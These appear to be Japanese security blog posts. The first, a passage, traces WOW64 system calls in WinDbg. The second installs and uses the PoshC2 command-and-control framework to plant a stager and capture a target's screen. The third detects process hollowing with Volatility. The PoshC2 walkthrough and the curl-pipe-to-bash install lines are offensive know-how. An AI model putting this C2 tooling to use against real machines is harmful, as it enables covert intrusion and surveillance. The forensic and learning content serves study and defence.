次に32bitアプリケーションのシステムコールをトレースしてみる.最初に,プログラム開始直後にロードされているモジュールを表示してみる.

f:id:snoozekvn:20201204224544p:plain

前説通り,wow64cpu,wow64,wow64win等のwow付きのモジュールや,ntdllが2つロードされていることが確認できる.また見切れてしまっているがntdll_77d0000のpdbファイル名はwntdll.pdb,ntdllはntdll.pdbであることもわかる.このファイルはIDAやGhidra等で逆アセンブルする際に有用だ.

さらにWOW64を使って32bitアプリケーションを動かした場合,プロセス内には32bitと64bit用に2つのPEBとTEBが作成される.これは!wow64exts.infoコマンドで確認することができる.

f:id:snoozekvn:20201204224501p:plain

本題のWOW64上でのシステムコールをトレースしよう.最初にbp ntdll_77d0000!NtTerminateProcessで32bit版ntdll.dll内のNtTerminateProcessにブレークポイントを設置する.

f:id:snoozekvn:20201204224535p:plain

gコマンドで処理を進めると,先ほど設置したブレークポイントでブレークする. ここから64bitOSカーネルのNtTerminateProcessまでをトーレスする.

f:id:snoozekvn:20201204224505p:plain

F11キーでステップイン実行すると,Wow64SystemServiceCallはwow64cpu!KiFastSystemCallへジャンプするようだ.

f:id:snoozekvn:20201204224548p:plain

KiFastSystemCallではセグメントセレクタを0x33に変更して,64bitモードへジャンプするようだ.なお,bit modeごとのセグメントレジスタの値は以下.

  • 64-bit (native) = 0x33
  • 32-bit (WOW64) = 0x23
  • 32-bit (native) = 0x1B

セグメントセレクタ自体の解説は以下を参照のこと.

www.malwaretech.com

f:id:snoozekvn:20201204224552p:plain

ここで初めて以下の画像のように64bitコードが登場する.

f:id:snoozekvn:20201204224556p:plain

最初に現れる処理はwow64cpu!CPUPReturnFromSimulatedCodeだ.この部分は32bitのコンテキストの保存と64bitのコンテキストへの移行を担う処理のようだ.

f:id:snoozekvn:20201204224521p:plain

その後,いくつかの関数を経て以下の処理へ遷移する. 具体的には次の関数を経由していた

  • wow64cpu!TurboDispatchJumpAddressStart
  • wow64cpu!Thunk3ArgSpNSpSp
  • wow64cpu!Thunk0Arg

NtTerminateProcessをコールするsyscall命令はwow64cpu!CpupSyscallStubで呼び出されていた.

f:id:snoozekvn:20201204224527p:plain

syscall実行後,32bitコンテキストを復元し,32bitから64bitへ移行したのと同じ要領で,64bitから32bitモードへ戻る. セグメントセレクタを0x23に変えてfar jumpしている点に注意.

f:id:snoozekvn:20201204224513p:plain

WOW64上の32bitアプリケーションから64bitのOSカーネルへのシステムコール遷移を追ってみた.次回の記事ではWOW64フックコードの作成,並びにHeaven's Gateの実装に挑戦したい.

明日12/5はfutabatoによる「医用画像処理のためのMRI入門」です.ご期待ください.

以上.

参考

www.fireeye.com

wbenny.github.io

www.apriorit.com

rce.co

PoshC2を使ってみる

PoshC2を使ってみる

PoshC2とは

Python3ベースのオープンソースなC2フレームワークPoshC2を使ってみる.

github.com

PoshC2は次のような特徴を持つ.

  • ビーコン,強制終了日,ユーザー情報など高度にカスタマイズされたペイロードの作成とターゲットへのロード
  • C2プロキシ用にカスタマイズされたApacheサーバー
  • C#PowerShell,Python3などの選択可能なインプラント
  • PoshC2を介したすべてのユーザー操作のロギング
  • Docker利用による信頼性の高いクロスプラットフォーム

なおPoshC2はいくつかバージョンがあり,以下にそれぞれをまとめておく.

詳細についてはリポジトリのオーナーであるNetitudeのブログにて,PoshC2のバージョン情報が詳しく述べられている.

また各種インプラントの使用方法や実装について解説しており,ドキュメントと合わせて目を通しておくとよいだろう.

NettitudeによるPoshC2解説記事 labs.nettitude.com

公式ドキュメント poshc2.readthedocs.io

ここでは,Python3で書かれた最新のPoshC2を使用し,ターゲット端末のスクリーンショットを取得してみる.

PoshC2のインストール

KaliにPoshC2をインストールしてみる.

curlbashを使って簡単に環境構築できる.

curl -sSL https://raw.githubusercontent.com/nettitude/PoshC2/master/Install.sh | sudo bash

posh-configコマンドで,PoshC2サーバーの設定を変更できる.

適当に調整したのはBindIP,PayloadCommsHostの2点.

f:id:snoozekvn:20200423133442j:plain

PoshC2の使用

PoshC2はその使用にあたって2つの端末を使用する.

それぞれ立ち上げてみる.

posh-serviceコマンドでPoshC2サーバーが起動する.

f:id:snoozekvn:20200423133447j:plain

その後,poshコマンドで立ち上がるインプラント操作用端末からターゲットを操作することになる.

f:id:snoozekvn:20200423133451j:plain

なお,poshコマンドで求められるユーザー名はログ用のものであり任意なユーザー名を使用可能.

インプラントハンドラの使用

poshコマンド実行後,アクティブなインプラントのリストが画面上部に表示される.

f:id:snoozekvn:20200423133455j:plain

インプラント番号を入力することで,特定インプラントへコマンドを送ることができる.

また,helpコマンドを発行することで現在使用可能なコマンドやモジュールのリストが表示される.

f:id:snoozekvn:20200423133459j:plain

ターゲットホストのスクリーンショットを取得してみる

ターゲット端末のスクリーンショットを取得してみる.

適当なStagerをターゲット端末で実行し,サーバーとのコネクションを確立する.

f:id:snoozekvn:20200423133504j:plain

インプラントハンドラからget-screenshotコマンドを発行.

f:id:snoozekvn:20200423133438j:plain

サーバー側のログにダウンロード先のフォルダが表示されるので見てみるとpngが保存されたパスが表示される.

f:id:snoozekvn:20200423133512j:plain

確かにスクリーンショットが取得できた.

以上.

参考

https://readthedocs.org/projects/poshc2/downloads/pdf/stable/

Volatilityを使ってみる

Volatilityを使ってみる

メモリフォレンジックフレームワークであるVolatilityを使ってみる.

Volatilityは現在Python3で記述されたものや,Windows上でスタンドアロンで動作するexe形式のものが配布されているが,この記事執筆時点ではプロファイルやコマンドの対応状況の点で,Python2製が最も充実しているようにみえる.

そのため,ここではPython2製のVolatilityを使用する.

github.com

Volatility使用にあたって不明点があれば,まず公式Wikiを確認することを推奨する.

github.com

Volatilityのインストール

GitHubからVolatilityをクローンする.

git clone https://github.com/volatilityfoundation/volatility.git

外部パッケージのインストール

Volatilityの使用前に,必要な外部パッケージをインストールしておく.

プロファイルの特定やプロセスリストの取得など使用頻度の高いコマンドがDistorm3を必要とするため,事前にpipでインストールしておく.

pip2 install distorm3

yarascanコマンドやlsadumpコマンドなどはまた別のパッケージを使用するため,必要に応じてインストールすること.

[2020/10/19 追記]

久しぶりにVolatilityをUbuntuにcloneして使おうとしたら,以下のようなインポートエラーが出てうまく動作しなかった.

f:id:snoozekvn:20201019162816p:plain

これを解消するためのメモを残しておく.

最初にPython2系のpipを取ってくる.

curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
python get-pip.py
export PATH="$PATH:/home/<UserName>/.local/bin"

続いてリポジトリからVolatilityをcloneし,setup.pyを実行する.

git clone https://github.com/volatilityfoundation/volatility.git
cd volatility
python setup.py build install

その後,pycryptoとdistorm3をインストールする.

sudo apt install gcc python2.7-dev
pip install pycrypto
pip install distorm3==3.4.4

以上.

[2020/10/19 追記ここまで]

Volatility Quick Start

メモリダンプを解析し始める前に,インストールしたVolatilityのプロファイルやコマンドの対応状況を確認しておくとよいだろう.

f:id:snoozekvn:20200417080851j:plain

また,コマンドの一覧や詳細はWikiのCommand Referenceが助けになるだろう.

github.com

Volatilityを使ってみる

Volatilityのコマンドの基本的な使い方は以下である.

python vol.py [plugin] -f [image] --profile=[profile] 

コマンド名,メモリダンプファイルのパス,プロファイルが必要になるが,このうちプロファイルを求めておく必要がある. ダンプファイルのプロファイルを求めるには以下のようにすればよい.

python vol.py -f [image] imageinfo

ただし,imageinfoコマンドは結果を得るまでにかなり時間がかかるため,事前にダンプファイルがどのOSのものでバージョンはいくつなのか把握しておいたほうがよいだろう.

以下は,適切なプロファイルを設定してプロセスリストを取得するpslistコマンドを試した様子.

f:id:snoozekvn:20200417080823j:plain

ProcessHollowingの検出

もう少し実践的な使用方法をやってみる.

以前の記事で作成したProcessHollowingを行うプログラムを使って,Volatilityによる不正な活動の検出をやってみる.

snoozy.hatenablog.com

ProcessHollowingを行うプログラムの動作概要は以下のようなものだった.

  • ProcessHollowing.exeプロセスが,不正なコードの注入先となる子プロセスを作成
  • 作成された子プロセスの外装は電卓プロセスだが,ProcessHollowingにより実際に動作するコードは ProcessHollowing.exeプロセスが注入したもの
  • ProcessHollowing.exeプロセスは電卓プロセスに対して,メッセージボックスをポップアップする不正なコードを注入する
  • 処理が正常に完了すると,不正なコードを模したメッセージボックスがポップアップする

以下は実際に,ProcessHollowingプロセスが電卓プロセスをHollowingし,不正なメッセージボックスが立ち上がっている様子.この状態でFTK Imagerを起動しメモリダンプを取る.

f:id:snoozekvn:20200417080831j:plain

ProcessHollowingをVolatilityを使って検出する方法は大きく以下の3パターンが知られている.

  • 不審な親子関係の検出
  • PEBとVAD構造の比較による検出
  • 不審なメモリ保護領域の検出

以下それぞれやってみる.

まずプロセスリストからgrepでProcessHollowing.exeプロセスを見つける.

f:id:snoozekvn:20200417080827j:plain

この親子関係からProcessHollowing.exeプロセスがconhost.exe, cmd.exe, calc.exeプロセスのいずれか,または全てを不正な活動に利用している可能性がある.

不審な親子関係の発見は,SANSが公開しているポスターが参考になるだろう.

https://www.sans.org/security-resources/posters/dfir-find-evil/35/download

今回は,calc.exeプロセスがhollowing対象だと分かっており,恣意的ではあるが以降calc.exeプロセスを対象に話を進める.

calc.exeプロセスに対して,PEBとVADの差異からProcessHollowingの検出を試みる.

Volatilityのdlllistコマンドは,プロセスのPEBから,そのプロセスにロードされているモジュールのリストを読み取る.このモジュールにはDLLやそのプロセス自身のEXEも含まれる.

f:id:snoozekvn:20200417080835j:plain

一方,ldrmodulesはカーネルのVADから,そのプロセスにロードされているモジュールのリストを出力する.

f:id:snoozekvn:20200417080823j:plain

ProcessHollowingが行われた場合,この結果に差異がある. 今回の例でいえばcalc.exeのイメージパスがldrmodulesでは表示されなくなる. これはProcessHollowingの内部で使用されるNtUnmapViewOfSectionAPIによるものだ.

VADは,メモリマネージャが,あるプロセスのどの仮想アドレスが予約されどの仮想アドレスが予約されていないか追跡するために使用されるツリー構造のデータ構造体だ.

プロセスがアドレス領域を予約したり予約領域を削除した場合,メモリマネージャはVADのツリー構造を都度更新する.対してPEBのモジュールリストの更新はそれに対して比較的遅い.

ProcessHollowingの内部で使用されるNtUnmapViewOfSectionAPIにより,VADが更新されるためこのような結果になる.

たしかに,dlllistで表示されていた電卓のイメージパスが表示されておらず,ProcessHollowingの痕跡が見つかったといえる.

次に不審なメモリ領域の検出を試みる. malfindコマンドはVADやページ保護を検査し,不正に注入されたDLLやEXEを検出する.

f:id:snoozekvn:20200417080814j:plain

実行ファイルの通常の実行において,DOSヘッダはPAGE_READONLYなメモリ属性を持つ.

malfindコマンドから得られた領域はPAGE_EXECUTE_READWRITEになっており,これは不審とみなしてよい.

hollowfindプラグインによる自動化

これら一連の処理を自動化してくれる便利なプラグインが公開されているため使ってみる.

github.com

公開されているリポジトリからクローンして,volatilityのpluginsディレクトリにコピーすればよい.

~/volatility$ git clone https://github.com/monnappa22/HollowFind.git
~/volatility$ cp HollowFind/hollowfind.py volatility/volatility/plugins/

以下は実際に使用してみた様子.

f:id:snoozekvn:20200417080844j:plain

確かに検知できているようだ.

不審なプロセスや注入されたコードが,どういった処理をするのかはVolatilityからは分からない. 以降はプロセスをダンプしてIDAなどで解析する段階になる.

プロセスをダンプするにはprocdumpコマンドを使えばよい.

f:id:snoozekvn:20200417080840j:plain

これをIDAに読み込ませると以下のように注入されたコードを見ることができる.

f:id:snoozekvn:20200417080847j:plain

コマンド実行の自動化

Volatilityのコマンドはものによってはかなり時間を取られるものがある.

またgrepなどで不審な部分を探していくことになるのだが,そのたびに手動でコマンドを実行していては手間である.

そこで一度すべてのコマンドを実行してファイルとして保存しておき,これをgrepなどでみていくのが得策だ.

以下はそれをやってくれるシェルスクリプト

# Full Credits to: Gabriel Pirjolescu
# https://medium.com/@gabriel.pirjolescu/demystifying-windows-malware-hunting-part-2-detecting-execution-with-volatility-1a139b194bfc

#!/usr/bin/env bash
profile="Win10x64_18362"
file="memdump.mem"
cmds=(
    #processes
    "pslist"
    "psscan"
    "pstree"
    "pstotal"
    "psxview"
#DLLs and handles
    "dlllist"
    "getsids"
    "handles"
    "filescan"
    "mutantscan"
    "cmdscan"
    "consoles"
    "scvscan"
    "cmdline"
#network
    "connections"
    "connscan"
    "sockets"
    "sockscan"
    "netscan"
)
echo "[+] File: $file"
echo "[+] Profile: $profile"
for i in "${cmds[@]}"; do
    echo "[+] Command: $i"
        vol.py --profile=$profile --output-file=$i -f $file $i
done

以上.

参考

http://dione.lib.unipi.gr/xmlui/bitstream/handle/unipi/11578/Balaoura_MTE1623.pdf?sequence=1&isAllowed=y

https://digital-forensics.sans.org/media/volatility-memory-forensics-cheat-sheet.pdf

cysinfo.com

volatilityfoundation.github.io